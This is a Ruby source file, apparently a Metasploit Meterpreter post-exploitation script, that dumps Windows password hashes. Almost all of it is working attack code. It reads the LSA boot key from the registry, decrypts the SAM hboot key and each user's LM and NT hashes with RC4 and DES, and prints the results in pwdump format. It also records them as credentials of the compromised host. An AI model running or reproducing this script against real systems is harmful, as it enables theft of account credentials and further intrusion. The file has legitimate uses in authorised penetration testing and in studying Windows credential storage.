259 lines
7.1 KiB
Ruby
259 lines
7.1 KiB
Ruby
# $Id$
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#
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# Implement pwdump (hashdump) through registry reads + syskey
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@client = client
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opts = Rex::Parser::Arguments.new(
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"-h" => [ false, "Help menu." ]
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)
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opts.parse(args) { |opt, idx, val|
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case opt
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when "-h"
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print_line "pwdump"
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print_line(opts.usage)
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raise Rex::Script::Completed
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end
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}
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# Constants for SAM decryption
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@sam_lmpass = "LMPASSWORD\x00"
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@sam_ntpass = "NTPASSWORD\x00"
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@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
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@sam_numeric = "0123456789012345678901234567890123456789\x00"
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@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*")
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@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*")
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@des_odd_parity = [
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1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
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16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
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32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
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49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
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64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
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81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
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97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
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112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
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128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
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145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
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161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
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176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
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193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
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208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
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224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
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241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
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]
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def capture_boot_key
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bootkey = ""
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basekey = "System\\CurrentControlSet\\Control\\Lsa"
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%W{JD Skew1 GBG Data}.each do |k|
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ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
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return nil if not ok
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bootkey << [ok.query_class.to_i(16)].pack("V")
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ok.close
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end
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keybytes = bootkey.unpack("C*")
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descrambled = ""
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# descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ]
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descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
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0.upto(keybytes.length-1) do |x|
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descrambled << [ keybytes[ descrambler[x] ] ].pack("C")
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end
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descrambled
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end
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def capture_hboot_key(bootkey)
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ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)
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return if not ok
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vf = ok.query_value("F")
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return if not vf
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vf = vf.data
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ok.close
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hash = Digest::MD5.new
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hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
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rc4 = OpenSSL::Cipher::Cipher.new("rc4")
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rc4.key = hash.digest
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hbootkey = rc4.update(vf[0x80, 32])
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hbootkey << rc4.final
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return hbootkey
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end
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def capture_user_keys
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users = {}
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ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ)
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return if not ok
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ok.enum_key.each do |usr|
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uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ)
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next if usr == 'Names'
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users[usr.to_i(16)] ||={}
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users[usr.to_i(16)][:F] = uk.query_value("F").data
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users[usr.to_i(16)][:V] = uk.query_value("V").data
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uk.close
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end
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ok.close
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ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ)
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ok.enum_key.each do |usr|
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uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
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r = uk.query_value("")
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rid = r.type
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users[rid] ||= {}
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users[rid][:Name] = usr
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uk.close
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end
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ok.close
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users
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end
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def decrypt_user_keys(hbootkey, users)
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users.each_key do |rid|
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user = users[rid]
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hashlm_off = nil
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hashnt_off = nil
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hashlm_enc = nil
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hashnt_enc = nil
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hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
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# Lanman and NTLM hash available
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if(hoff + 0x28 < user[:V].length)
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hashlm_off = hoff + 4
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hashnt_off = hoff + 24
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hashlm_enc = user[:V][hashlm_off, 16]
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hashnt_enc = user[:V][hashnt_off, 16]
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# No stored lanman hash
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elsif (hoff + 0x14 < user[:V].length)
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hashnt_off = hoff + 8
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hashnt_enc = user[:V][hashnt_off, 16]
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hashlm_enc = ""
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# No stored hashes at all
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else
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hashnt_enc = hashlm_enc = ""
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end
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user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
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user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
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end
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users
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end
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def convert_des_56_to_64(kstr)
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key = []
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str = kstr.unpack("C*")
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key[0] = str[0] >> 1
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key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
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key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
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key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
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key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
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key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
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key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
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key[7] = str[6] & 0x7F
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0.upto(7) do |i|
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key[i] = ( key[i] << 1)
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key[i] = @des_odd_parity[key[i]]
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end
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key.pack("C*")
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end
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def rid_to_key(rid)
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s1 = [rid].pack("V")
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s1 << s1[0,3]
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s2b = [rid].pack("V").unpack("C4")
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s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4")
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s2 << s2[0,3]
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[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
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end
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def decrypt_user_hash(rid, hbootkey, enchash, pass)
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if(enchash.empty?)
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case pass
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when @sam_lmpass
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return @sam_empty_lm
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when @sam_ntpass
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return @sam_empty_nt
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end
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return ""
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end
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des_k1, des_k2 = rid_to_key(rid)
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d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
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d1.padding = 0
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d1.key = des_k1
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d2 = OpenSSL::Cipher::Cipher.new('des-ecb')
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d2.padding = 0
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d2.key = des_k2
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md5 = Digest::MD5.new
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md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
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rc4 = OpenSSL::Cipher::Cipher.new('rc4')
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rc4.key = md5.digest
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okey = rc4.update(enchash)
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d1o = d1.decrypt.update(okey[0,8])
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d1o << d1.final
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d2o = d2.decrypt.update(okey[8,8])
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d1o << d2.final
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d1o + d2o
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end
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begin
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print_status("Obtaining the boot key...")
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bootkey = capture_boot_key
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print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")
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hbootkey = capture_hboot_key(bootkey)
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print_status("Obtaining the user list and keys...")
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users = capture_user_keys
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print_status("Decrypting user keys...")
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users = decrypt_user_keys(hbootkey, users)
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print_status("Dumping password hashes...")
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print_line()
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print_line()
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users.keys.sort{|a,b| a<=>b}.each do |rid|
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hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::"
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@client.framework.db.report_auth_info(
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:host => client.sock.peerhost,
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:proto => 'smb',
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:user => users[rid][:Name],
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:hash => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0],
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:hash_string => hashstring,
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:target_host => client.sock.peerhost
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)
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print_line hashstring
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end
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print_line()
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print_line()
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rescue ::Interrupt
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raise $!
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rescue ::Rex::Post::Meterpreter::RequestError => e
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print_error("Meterpreter Exception: #{e.class} #{e}")
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print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
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rescue ::Exception => e
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print_error("Error: #{e.class} #{e} #{e.backtrace}")
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end
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